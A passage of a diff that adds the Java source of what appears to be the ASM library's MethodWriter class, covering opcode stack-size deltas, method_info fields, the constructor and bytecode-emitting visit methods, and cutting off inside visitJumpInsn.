143 (0x8f) + -1, // d2f = 144 (0x90) + 0, // i2b = 145 (0x91) + 0, // i2c = 146 (0x92) + 0, // i2s = 147 (0x93) + -3, // lcmp = 148 (0x94) + -1, // fcmpl = 149 (0x95) + -1, // fcmpg = 150 (0x96) + -3, // dcmpl = 151 (0x97) + -3, // dcmpg = 152 (0x98) + -1, // ifeq = 153 (0x99) + -1, // ifne = 154 (0x9a) + -1, // iflt = 155 (0x9b) + -1, // ifge = 156 (0x9c) + -1, // ifgt = 157 (0x9d) + -1, // ifle = 158 (0x9e) + -2, // if_icmpeq = 159 (0x9f) + -2, // if_icmpne = 160 (0xa0) + -2, // if_icmplt = 161 (0xa1) + -2, // if_icmpge = 162 (0xa2) + -2, // if_icmpgt = 163 (0xa3) + -2, // if_icmple = 164 (0xa4) + -2, // if_acmpeq = 165 (0xa5) + -2, // if_acmpne = 166 (0xa6) + 0, // goto = 167 (0xa7) + 1, // jsr = 168 (0xa8) + 0, // ret = 169 (0xa9) + -1, // tableswitch = 170 (0xaa) + -1, // lookupswitch = 171 (0xab) + -1, // ireturn = 172 (0xac) + -2, // lreturn = 173 (0xad) + -1, // freturn = 174 (0xae) + -2, // dreturn = 175 (0xaf) + -1, // areturn = 176 (0xb0) + 0, // return = 177 (0xb1) + NA, // getstatic = 178 (0xb2) + NA, // putstatic = 179 (0xb3) + NA, // getfield = 180 (0xb4) + NA, // putfield = 181 (0xb5) + NA, // invokevirtual = 182 (0xb6) + NA, // invokespecial = 183 (0xb7) + NA, // invokestatic = 184 (0xb8) + NA, // invokeinterface = 185 (0xb9) + NA, // invokedynamic = 186 (0xba) + 1, // new = 187 (0xbb) + 0, // newarray = 188 (0xbc) + 0, // anewarray = 189 (0xbd) + 0, // arraylength = 190 (0xbe) + NA, // athrow = 191 (0xbf) + 0, // checkcast = 192 (0xc0) + 0, // instanceof = 193 (0xc1) + -1, // monitorenter = 194 (0xc2) + -1, // monitorexit = 195 (0xc3) + NA, // wide = 196 (0xc4) + NA, // multianewarray = 197 (0xc5) + -1, // ifnull = 198 (0xc6) + -1, // ifnonnull = 199 (0xc7) + NA, // goto_w = 200 (0xc8) + NA // jsr_w = 201 (0xc9) + }; + + /** Where the constants used in this MethodWriter must be stored. */ + private final SymbolTable symbolTable; + + // Note: fields are ordered as in the method_info structure, and those related to attributes are + // ordered as in Section 4.7 of the JVMS. + + /** + * The access_flags field of the method_info JVMS structure. This field can contain ASM specific + * access flags, such as {@link Opcodes#ACC_DEPRECATED}, which are removed when generating the + * ClassFile structure. + */ + private final int accessFlags; + + /** The name_index field of the method_info JVMS structure. */ + private final int nameIndex; + + /** The name of this method. */ + private final String name; + + /** The descriptor_index field of the method_info JVMS structure. */ + private final int descriptorIndex; + + /** The descriptor of this method. */ + private final String descriptor; + + // Code attribute fields and sub attributes: + + /** The max_stack field of the Code attribute. */ + private int maxStack; + + /** The max_locals field of the Code attribute. */ + private int maxLocals; + + /** The 'code' field of the Code attribute. */ + private final ByteVector code = new ByteVector(); + + /** + * The first element in the exception handler list (used to generate the exception_table of the + * Code attribute). The next ones can be accessed with the {@link Handler#nextHandler} field. May + * be {@literal null}. + */ + private Handler firstHandler; + + /** + * The last element in the exception handler list (used to generate the exception_table of the + * Code attribute). The next ones can be accessed with the {@link Handler#nextHandler} field. May + * be {@literal null}. + */ + private Handler lastHandler; + + /** The line_number_table_length field of the LineNumberTable code attribute. */ + private int lineNumberTableLength; + + /** The line_number_table array of the LineNumberTable code attribute, or {@literal null}. */ + private ByteVector lineNumberTable; + + /** The local_variable_table_length field of the LocalVariableTable code attribute. */ + private int localVariableTableLength; + + /** + * The local_variable_table array of the LocalVariableTable code attribute, or {@literal null}. + */ + private ByteVector localVariableTable; + + /** The local_variable_type_table_length field of the LocalVariableTypeTable code attribute. */ + private int localVariableTypeTableLength; + + /** + * The local_variable_type_table array of the LocalVariableTypeTable code attribute, or {@literal + * null}. + */ + private ByteVector localVariableTypeTable; + + /** The number_of_entries field of the StackMapTable code attribute. */ + private int stackMapTableNumberOfEntries; + + /** The 'entries' array of the StackMapTable code attribute. */ + private ByteVector stackMapTableEntries; + + /** + * The last runtime visible type annotation of the Code attribute. The previous ones can be + * accessed with the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastCodeRuntimeVisibleTypeAnnotation; + + /** + * The last runtime invisible type annotation of the Code attribute. The previous ones can be + * accessed with the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastCodeRuntimeInvisibleTypeAnnotation; + + /** + * The first non standard attribute of the Code attribute. The next ones can be accessed with the + * {@link Attribute#nextAttribute} field. May be {@literal null}. + * + *

WARNING: this list stores the attributes in the reverse order of their visit. + * firstAttribute is actually the last attribute visited in {@link #visitAttribute}. The {@link + * #putMethodInfo} method writes the attributes in the order defined by this list, i.e. in the + * reverse order specified by the user. + */ + private Attribute firstCodeAttribute; + + // Other method_info attributes: + + /** The number_of_exceptions field of the Exceptions attribute. */ + private final int numberOfExceptions; + + /** The exception_index_table array of the Exceptions attribute, or {@literal null}. */ + private final int[] exceptionIndexTable; + + /** The signature_index field of the Signature attribute. */ + private final int signatureIndex; + + /** + * The last runtime visible annotation of this method. The previous ones can be accessed with the + * {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleAnnotation; + + /** + * The last runtime invisible annotation of this method. The previous ones can be accessed with + * the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleAnnotation; + + /** The number of method parameters that can have runtime visible annotations, or 0. */ + private int visibleAnnotableParameterCount; + + /** + * The runtime visible parameter annotations of this method. Each array element contains the last + * annotation of a parameter (which can be {@literal null} - the previous ones can be accessed + * with the {@link AnnotationWriter#previousAnnotation} field). May be {@literal null}. + */ + private AnnotationWriter[] lastRuntimeVisibleParameterAnnotations; + + /** The number of method parameters that can have runtime visible annotations, or 0. */ + private int invisibleAnnotableParameterCount; + + /** + * The runtime invisible parameter annotations of this method. Each array element contains the + * last annotation of a parameter (which can be {@literal null} - the previous ones can be + * accessed with the {@link AnnotationWriter#previousAnnotation} field). May be {@literal null}. + */ + private AnnotationWriter[] lastRuntimeInvisibleParameterAnnotations; + + /** + * The last runtime visible type annotation of this method. The previous ones can be accessed with + * the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleTypeAnnotation; + + /** + * The last runtime invisible type annotation of this method. The previous ones can be accessed + * with the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleTypeAnnotation; + + /** The default_value field of the AnnotationDefault attribute, or {@literal null}. */ + private ByteVector defaultValue; + + /** The parameters_count field of the MethodParameters attribute. */ + private int parametersCount; + + /** The 'parameters' array of the MethodParameters attribute, or {@literal null}. */ + private ByteVector parameters; + + /** + * The first non standard attribute of this method. The next ones can be accessed with the {@link + * Attribute#nextAttribute} field. May be {@literal null}. + * + *

WARNING: this list stores the attributes in the reverse order of their visit. + * firstAttribute is actually the last attribute visited in {@link #visitAttribute}. The {@link + * #putMethodInfo} method writes the attributes in the order defined by this list, i.e. in the + * reverse order specified by the user. + */ + private Attribute firstAttribute; + + // ----------------------------------------------------------------------------------------------- + // Fields used to compute the maximum stack size and number of locals, and the stack map frames + // ----------------------------------------------------------------------------------------------- + + /** + * Indicates what must be computed. Must be one of {@link #COMPUTE_ALL_FRAMES}, {@link + * #COMPUTE_INSERTED_FRAMES}, {@link #COMPUTE_MAX_STACK_AND_LOCAL} or {@link #COMPUTE_NOTHING}. + */ + private final int compute; + + /** + * The first basic block of the method. The next ones (in bytecode offset order) can be accessed + * with the {@link Label#nextBasicBlock} field. + */ + private Label firstBasicBlock; + + /** + * The last basic block of the method (in bytecode offset order). This field is updated each time + * a basic block is encountered, and is used to append it at the end of the basic block list. + */ + private Label lastBasicBlock; + + /** + * The current basic block, i.e. the basic block of the last visited instruction. When {@link + * #compute} is equal to {@link #COMPUTE_MAX_STACK_AND_LOCAL} or {@link #COMPUTE_ALL_FRAMES}, this + * field is {@literal null} for unreachable code. When {@link #compute} is equal to {@link + * #COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES} or {@link #COMPUTE_INSERTED_FRAMES}, this field stays + * unchanged throughout the whole method (i.e. the whole code is seen as a single basic block; + * indeed, the existing frames are sufficient by hypothesis to compute any intermediate frame - + * and the maximum stack size as well - without using any control flow graph). + */ + private Label currentBasicBlock; + + /** + * The relative stack size after the last visited instruction. This size is relative to the + * beginning of {@link #currentBasicBlock}, i.e. the true stack size after the last visited + * instruction is equal to the {@link Label#inputStackSize} of the current basic block plus {@link + * #relativeStackSize}. When {@link #compute} is equal to {@link + * #COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES}, {@link #currentBasicBlock} is always the start of + * the method, so this relative size is also equal to the absolute stack size after the last + * visited instruction. + */ + private int relativeStackSize; + + /** + * The maximum relative stack size after the last visited instruction. This size is relative to + * the beginning of {@link #currentBasicBlock}, i.e. the true maximum stack size after the last + * visited instruction is equal to the {@link Label#inputStackSize} of the current basic block + * plus {@link #maxRelativeStackSize}.When {@link #compute} is equal to {@link + * #COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES}, {@link #currentBasicBlock} is always the start of + * the method, so this relative size is also equal to the absolute maximum stack size after the + * last visited instruction. + */ + private int maxRelativeStackSize; + + /** The number of local variables in the last visited stack map frame. */ + private int currentLocals; + + /** The bytecode offset of the last frame that was written in {@link #stackMapTableEntries}. */ + private int previousFrameOffset; + + /** + * The last frame that was written in {@link #stackMapTableEntries}. This field has the same + * format as {@link #currentFrame}. + */ + private int[] previousFrame; + + /** + * The current stack map frame. The first element contains the bytecode offset of the instruction + * to which the frame corresponds, the second element is the number of locals and the third one is + * the number of stack elements. The local variables start at index 3 and are followed by the + * operand stack elements. In summary frame[0] = offset, frame[1] = numLocal, frame[2] = numStack. + * Local variables and operand stack entries contain abstract types, as defined in {@link Frame}, + * but restricted to {@link Frame#CONSTANT_KIND}, {@link Frame#REFERENCE_KIND} or {@link + * Frame#UNINITIALIZED_KIND} abstract types. Long and double types use only one array entry. + */ + private int[] currentFrame; + + /** Whether this method contains subroutines. */ + private boolean hasSubroutines; + + // ----------------------------------------------------------------------------------------------- + // Other miscellaneous status fields + // ----------------------------------------------------------------------------------------------- + + /** Whether the bytecode of this method contains ASM specific instructions. */ + private boolean hasAsmInstructions; + + /** + * The start offset of the last visited instruction. Used to set the offset field of type + * annotations of type 'offset_target' (see JVMS + * 4.7.20.1). + */ + private int lastBytecodeOffset; + + /** + * The offset in bytes in {@link SymbolTable#getSource} from which the method_info for this method + * (excluding its first 6 bytes) must be copied, or 0. + */ + private int sourceOffset; + + /** + * The length in bytes in {@link SymbolTable#getSource} which must be copied to get the + * method_info for this method (excluding its first 6 bytes for access_flags, name_index and + * descriptor_index). + */ + private int sourceLength; + + // ----------------------------------------------------------------------------------------------- + // Constructor and accessors + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new {@link MethodWriter}. + * + * @param symbolTable where the constants used in this AnnotationWriter must be stored. + * @param access the method's access flags (see {@link Opcodes}). + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type}). + * @param signature the method's signature. May be {@literal null}. + * @param exceptions the internal names of the method's exceptions. May be {@literal null}. + * @param compute indicates what must be computed (see #compute). + */ + MethodWriter( + final SymbolTable symbolTable, + final int access, + final String name, + final String descriptor, + final String signature, + final String[] exceptions, + final int compute) { + super(Opcodes.ASM7); + this.symbolTable = symbolTable; + this.accessFlags = "".equals(name) ? access | Constants.ACC_CONSTRUCTOR : access; + this.nameIndex = symbolTable.addConstantUtf8(name); + this.name = name; + this.descriptorIndex = symbolTable.addConstantUtf8(descriptor); + this.descriptor = descriptor; + this.signatureIndex = signature == null ? 0 : symbolTable.addConstantUtf8(signature); + if (exceptions != null && exceptions.length > 0) { + numberOfExceptions = exceptions.length; + this.exceptionIndexTable = new int[numberOfExceptions]; + for (int i = 0; i < numberOfExceptions; ++i) { + this.exceptionIndexTable[i] = symbolTable.addConstantClass(exceptions[i]).index; + } + } else { + numberOfExceptions = 0; + this.exceptionIndexTable = null; + } + this.compute = compute; + if (compute != COMPUTE_NOTHING) { + // Update maxLocals and currentLocals. + int argumentsSize = Type.getArgumentsAndReturnSizes(descriptor) >> 2; + if ((access & Opcodes.ACC_STATIC) != 0) { + --argumentsSize; + } + maxLocals = argumentsSize; + currentLocals = argumentsSize; + // Create and visit the label for the first basic block. + firstBasicBlock = new Label(); + visitLabel(firstBasicBlock); + } + } + + boolean hasFrames() { + return stackMapTableNumberOfEntries > 0; + } + + boolean hasAsmInstructions() { + return hasAsmInstructions; + } + + // ----------------------------------------------------------------------------------------------- + // Implementation of the MethodVisitor abstract class + // ----------------------------------------------------------------------------------------------- + + @Override + public void visitParameter(final String name, final int access) { + if (parameters == null) { + parameters = new ByteVector(); + } + ++parametersCount; + parameters.putShort((name == null) ? 0 : symbolTable.addConstantUtf8(name)).putShort(access); + } + + @Override + public AnnotationVisitor visitAnnotationDefault() { + defaultValue = new ByteVector(); + return new AnnotationWriter(symbolTable, /* useNamedValues = */ false, defaultValue, null); + } + + @Override + public AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) { + // Create a ByteVector to hold an 'annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16. + ByteVector annotation = new ByteVector(); + // Write type_index and reserve space for num_element_value_pairs. + annotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeVisibleAnnotation); + } else { + return lastRuntimeInvisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeInvisibleAnnotation); + } + } + + @Override + public AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + TypeReference.putTarget(typeRef, typeAnnotation); + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeVisibleTypeAnnotation); + } else { + return lastRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public void visitAnnotableParameterCount(final int parameterCount, final boolean visible) { + if (visible) { + visibleAnnotableParameterCount = parameterCount; + } else { + invisibleAnnotableParameterCount = parameterCount; + } + } + + @Override + public AnnotationVisitor visitParameterAnnotation( + final int parameter, final String annotationDescriptor, final boolean visible) { + // Create a ByteVector to hold an 'annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16. + ByteVector annotation = new ByteVector(); + // Write type_index and reserve space for num_element_value_pairs. + annotation.putShort(symbolTable.addConstantUtf8(annotationDescriptor)).putShort(0); + if (visible) { + if (lastRuntimeVisibleParameterAnnotations == null) { + lastRuntimeVisibleParameterAnnotations = + new AnnotationWriter[Type.getArgumentTypes(descriptor).length]; + } + return lastRuntimeVisibleParameterAnnotations[parameter] = + new AnnotationWriter( + symbolTable, annotation, lastRuntimeVisibleParameterAnnotations[parameter]); + } else { + if (lastRuntimeInvisibleParameterAnnotations == null) { + lastRuntimeInvisibleParameterAnnotations = + new AnnotationWriter[Type.getArgumentTypes(descriptor).length]; + } + return lastRuntimeInvisibleParameterAnnotations[parameter] = + new AnnotationWriter( + symbolTable, annotation, lastRuntimeInvisibleParameterAnnotations[parameter]); + } + } + + @Override + public void visitAttribute(final Attribute attribute) { + // Store the attributes in the reverse order of their visit by this method. + if (attribute.isCodeAttribute()) { + attribute.nextAttribute = firstCodeAttribute; + firstCodeAttribute = attribute; + } else { + attribute.nextAttribute = firstAttribute; + firstAttribute = attribute; + } + } + + @Override + public void visitCode() { + // Nothing to do. + } + + @Override + public void visitFrame( + final int type, + final int numLocal, + final Object[] local, + final int numStack, + final Object[] stack) { + if (compute == COMPUTE_ALL_FRAMES) { + return; + } + + if (compute == COMPUTE_INSERTED_FRAMES) { + if (currentBasicBlock.frame == null) { + // This should happen only once, for the implicit first frame (which is explicitly visited + // in ClassReader if the EXPAND_ASM_INSNS option is used - and COMPUTE_INSERTED_FRAMES + // can't be set if EXPAND_ASM_INSNS is not used). + currentBasicBlock.frame = new CurrentFrame(currentBasicBlock); + currentBasicBlock.frame.setInputFrameFromDescriptor( + symbolTable, accessFlags, descriptor, numLocal); + currentBasicBlock.frame.accept(this); + } else { + if (type == Opcodes.F_NEW) { + currentBasicBlock.frame.setInputFrameFromApiFormat( + symbolTable, numLocal, local, numStack, stack); + } + // If type is not F_NEW then it is F_INSERT by hypothesis, and currentBlock.frame contains + // the stack map frame at the current instruction, computed from the last F_NEW frame and + // the bytecode instructions in between (via calls to CurrentFrame#execute). + currentBasicBlock.frame.accept(this); + } + } else if (type == Opcodes.F_NEW) { + if (previousFrame == null) { + int argumentsSize = Type.getArgumentsAndReturnSizes(descriptor) >> 2; + Frame implicitFirstFrame = new Frame(new Label()); + implicitFirstFrame.setInputFrameFromDescriptor( + symbolTable, accessFlags, descriptor, argumentsSize); + implicitFirstFrame.accept(this); + } + currentLocals = numLocal; + int frameIndex = visitFrameStart(code.length, numLocal, numStack); + for (int i = 0; i < numLocal; ++i) { + currentFrame[frameIndex++] = Frame.getAbstractTypeFromApiFormat(symbolTable, local[i]); + } + for (int i = 0; i < numStack; ++i) { + currentFrame[frameIndex++] = Frame.getAbstractTypeFromApiFormat(symbolTable, stack[i]); + } + visitFrameEnd(); + } else { + int offsetDelta; + if (stackMapTableEntries == null) { + stackMapTableEntries = new ByteVector(); + offsetDelta = code.length; + } else { + offsetDelta = code.length - previousFrameOffset - 1; + if (offsetDelta < 0) { + if (type == Opcodes.F_SAME) { + return; + } else { + throw new IllegalStateException(); + } + } + } + + switch (type) { + case Opcodes.F_FULL: + currentLocals = numLocal; + stackMapTableEntries.putByte(Frame.FULL_FRAME).putShort(offsetDelta).putShort(numLocal); + for (int i = 0; i < numLocal; ++i) { + putFrameType(local[i]); + } + stackMapTableEntries.putShort(numStack); + for (int i = 0; i < numStack; ++i) { + putFrameType(stack[i]); + } + break; + case Opcodes.F_APPEND: + currentLocals += numLocal; + stackMapTableEntries.putByte(Frame.SAME_FRAME_EXTENDED + numLocal).putShort(offsetDelta); + for (int i = 0; i < numLocal; ++i) { + putFrameType(local[i]); + } + break; + case Opcodes.F_CHOP: + currentLocals -= numLocal; + stackMapTableEntries.putByte(Frame.SAME_FRAME_EXTENDED - numLocal).putShort(offsetDelta); + break; + case Opcodes.F_SAME: + if (offsetDelta < 64) { + stackMapTableEntries.putByte(offsetDelta); + } else { + stackMapTableEntries.putByte(Frame.SAME_FRAME_EXTENDED).putShort(offsetDelta); + } + break; + case Opcodes.F_SAME1: + if (offsetDelta < 64) { + stackMapTableEntries.putByte(Frame.SAME_LOCALS_1_STACK_ITEM_FRAME + offsetDelta); + } else { + stackMapTableEntries + .putByte(Frame.SAME_LOCALS_1_STACK_ITEM_FRAME_EXTENDED) + .putShort(offsetDelta); + } + putFrameType(stack[0]); + break; + default: + throw new IllegalArgumentException(); + } + + previousFrameOffset = code.length; + ++stackMapTableNumberOfEntries; + } + + if (compute == COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES) { + relativeStackSize = numStack; + for (int i = 0; i < numStack; ++i) { + if (stack[i] == Opcodes.LONG || stack[i] == Opcodes.DOUBLE) { + relativeStackSize++; + } + } + if (relativeStackSize > maxRelativeStackSize) { + maxRelativeStackSize = relativeStackSize; + } + } + + maxStack = Math.max(maxStack, numStack); + maxLocals = Math.max(maxLocals, currentLocals); + } + + @Override + public void visitInsn(final int opcode) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + code.putByte(opcode); + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, 0, null, null); + } else { + int size = relativeStackSize + STACK_SIZE_DELTA[opcode]; + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + if ((opcode >= Opcodes.IRETURN && opcode <= Opcodes.RETURN) || opcode == Opcodes.ATHROW) { + endCurrentBasicBlockWithNoSuccessor(); + } + } + } + + @Override + public void visitIntInsn(final int opcode, final int operand) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + if (opcode == Opcodes.SIPUSH) { + code.put12(opcode, operand); + } else { // BIPUSH or NEWARRAY + code.put11(opcode, operand); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, operand, null, null); + } else if (opcode != Opcodes.NEWARRAY) { + // The stack size delta is 1 for BIPUSH or SIPUSH, and 0 for NEWARRAY. + int size = relativeStackSize + 1; + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitVarInsn(final int opcode, final int var) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + if (var < 4 && opcode != Opcodes.RET) { + int optimizedOpcode; + if (opcode < Opcodes.ISTORE) { + optimizedOpcode = Constants.ILOAD_0 + ((opcode - Opcodes.ILOAD) << 2) + var; + } else { + optimizedOpcode = Constants.ISTORE_0 + ((opcode - Opcodes.ISTORE) << 2) + var; + } + code.putByte(optimizedOpcode); + } else if (var >= 256) { + code.putByte(Constants.WIDE).put12(opcode, var); + } else { + code.put11(opcode, var); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, var, null, null); + } else { + if (opcode == Opcodes.RET) { + // No stack size delta. + currentBasicBlock.flags |= Label.FLAG_SUBROUTINE_END; + currentBasicBlock.outputStackSize = (short) relativeStackSize; + endCurrentBasicBlockWithNoSuccessor(); + } else { // xLOAD or xSTORE + int size = relativeStackSize + STACK_SIZE_DELTA[opcode]; + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + if (compute != COMPUTE_NOTHING) { + int currentMaxLocals; + if (opcode == Opcodes.LLOAD + || opcode == Opcodes.DLOAD + || opcode == Opcodes.LSTORE + || opcode == Opcodes.DSTORE) { + currentMaxLocals = var + 2; + } else { + currentMaxLocals = var + 1; + } + if (currentMaxLocals > maxLocals) { + maxLocals = currentMaxLocals; + } + } + if (opcode >= Opcodes.ISTORE && compute == COMPUTE_ALL_FRAMES && firstHandler != null) { + // If there are exception handler blocks, each instruction within a handler range is, in + // theory, a basic block (since execution can jump from this instruction to the exception + // handler). As a consequence, the local variable types at the beginning of the handler + // block should be the merge of the local variable types at all the instructions within the + // handler range. However, instead of creating a basic block for each instruction, we can + // get the same result in a more efficient way. Namely, by starting a new basic block after + // each xSTORE instruction, which is what we do here. + visitLabel(new Label()); + } + } + + @Override + public void visitTypeInsn(final int opcode, final String type) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol typeSymbol = symbolTable.addConstantClass(type); + code.put12(opcode, typeSymbol.index); + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, lastBytecodeOffset, typeSymbol, symbolTable); + } else if (opcode == Opcodes.NEW) { + // The stack size delta is 1 for NEW, and 0 for ANEWARRAY, CHECKCAST, or INSTANCEOF. + int size = relativeStackSize + 1; + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitFieldInsn( + final int opcode, final String owner, final String name, final String descriptor) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol fieldrefSymbol = symbolTable.addConstantFieldref(owner, name, descriptor); + code.put12(opcode, fieldrefSymbol.index); + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, 0, fieldrefSymbol, symbolTable); + } else { + int size; + char firstDescChar = descriptor.charAt(0); + switch (opcode) { + case Opcodes.GETSTATIC: + size = relativeStackSize + (firstDescChar == 'D' || firstDescChar == 'J' ? 2 : 1); + break; + case Opcodes.PUTSTATIC: + size = relativeStackSize + (firstDescChar == 'D' || firstDescChar == 'J' ? -2 : -1); + break; + case Opcodes.GETFIELD: + size = relativeStackSize + (firstDescChar == 'D' || firstDescChar == 'J' ? 1 : 0); + break; + case Opcodes.PUTFIELD: + default: + size = relativeStackSize + (firstDescChar == 'D' || firstDescChar == 'J' ? -3 : -2); + break; + } + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitMethodInsn( + final int opcode, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol methodrefSymbol = symbolTable.addConstantMethodref(owner, name, descriptor, isInterface); + if (opcode == Opcodes.INVOKEINTERFACE) { + code.put12(Opcodes.INVOKEINTERFACE, methodrefSymbol.index) + .put11(methodrefSymbol.getArgumentsAndReturnSizes() >> 2, 0); + } else { + code.put12(opcode, methodrefSymbol.index); + } + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(opcode, 0, methodrefSymbol, symbolTable); + } else { + int argumentsAndReturnSize = methodrefSymbol.getArgumentsAndReturnSizes(); + int stackSizeDelta = (argumentsAndReturnSize & 3) - (argumentsAndReturnSize >> 2); + int size; + if (opcode == Opcodes.INVOKESTATIC) { + size = relativeStackSize + stackSizeDelta + 1; + } else { + size = relativeStackSize + stackSizeDelta; + } + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitInvokeDynamicInsn( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + Symbol invokeDynamicSymbol = + symbolTable.addConstantInvokeDynamic( + name, descriptor, bootstrapMethodHandle, bootstrapMethodArguments); + code.put12(Opcodes.INVOKEDYNAMIC, invokeDynamicSymbol.index); + code.putShort(0); + // If needed, update the maximum stack size and number of locals, and stack map frames. + if (currentBasicBlock != null) { + if (compute == COMPUTE_ALL_FRAMES || compute == COMPUTE_INSERTED_FRAMES) { + currentBasicBlock.frame.execute(Opcodes.INVOKEDYNAMIC, 0, invokeDynamicSymbol, symbolTable); + } else { + int argumentsAndReturnSize = invokeDynamicSymbol.getArgumentsAndReturnSizes(); + int stackSizeDelta = (argumentsAndReturnSize & 3) - (argumentsAndReturnSize >> 2) + 1; + int size = relativeStackSize + stackSizeDelta; + if (size > maxRelativeStackSize) { + maxRelativeStackSize = size; + } + relativeStackSize = size; + } + } + } + + @Override + public void visitJumpInsn(final int opcode, final Label label) { + lastBytecodeOffset = code.length; + // Add the instruction to the bytecode of the method. + // Compute the 'base' opcode, i.e. GOTO or JSR if opcode is GOTO_W or JSR_W, otherwise opcode. + int baseOpcode = + opcode >= Constants.GOTO_W ? opcode - Constants.WIDE_JUMP_OPCODE_DELTA : opcode; + boolean nextInsnIsJumpTarget = false; + if ((label.flags & Label.FLAG_RESOLVED) != 0 + && label.bytecodeOffset - code.length < Short.MIN_VALUE) { + // Case of a backward jump with an offset < -32768. In this case we automatically replace GOTO + // with GOTO_W, JSR with JSR_W and IFxxx with IFNOTxxx GOTO_W L:..., where + // IFNOTxxx is the "opposite" opcode of IFxxx (e.g. IFNE for IFEQ) and where designates + // the instruction just after the GOTO_W. + if (baseOpcode == Opcodes.GOTO) { + code.putByte(Constants.GOTO_W); + } else if (baseOpcode == Opcodes.JSR) { + code.putByte(Constants.JSR_W); + } else { + // Put the "opposite" opcode of baseOpcode. This can be done by flipping the least + // significant bit for IFNULL and IFNONNULL, and similarly for IFEQ ... IF_ACMPEQ (with a + // pre and post offset by 1). The jump offset is 8 bytes (3 for IFNOTxxx, 5 for GOTO_W). + code.putByte(baseOpcode >= Opcodes.IFNULL ? baseOpcode ^ 1 : ((baseOpcode + 1) ^ 1) - 1); + code.putShort(8); + // Here we could put a GOTO_W in theory, but if ASM specific instructions are used in this + // method or another one, and if the class has frames, we will need to insert a frame after + // this GOTO_W during the additional ClassReader -> ClassWriter round trip to remove the ASM + // specific instructions. To not miss this additional frame, we need to use an ASM_GOTO_W + // here, which has the unfortunate effect of forcing this additional round trip (which in + // some case would not have been really necessary, but we can't know this at this point). + code.putByte(Constants.ASM_GOTO_W); + hasAsmInstructions = true; + // The instruction after the GOTO_W becomes the target of the IFNOT instruction. + nextInsnIsJumpTarget = true; + } + label.put(code, code.length - 1, true); + } else if (baseOpcode != 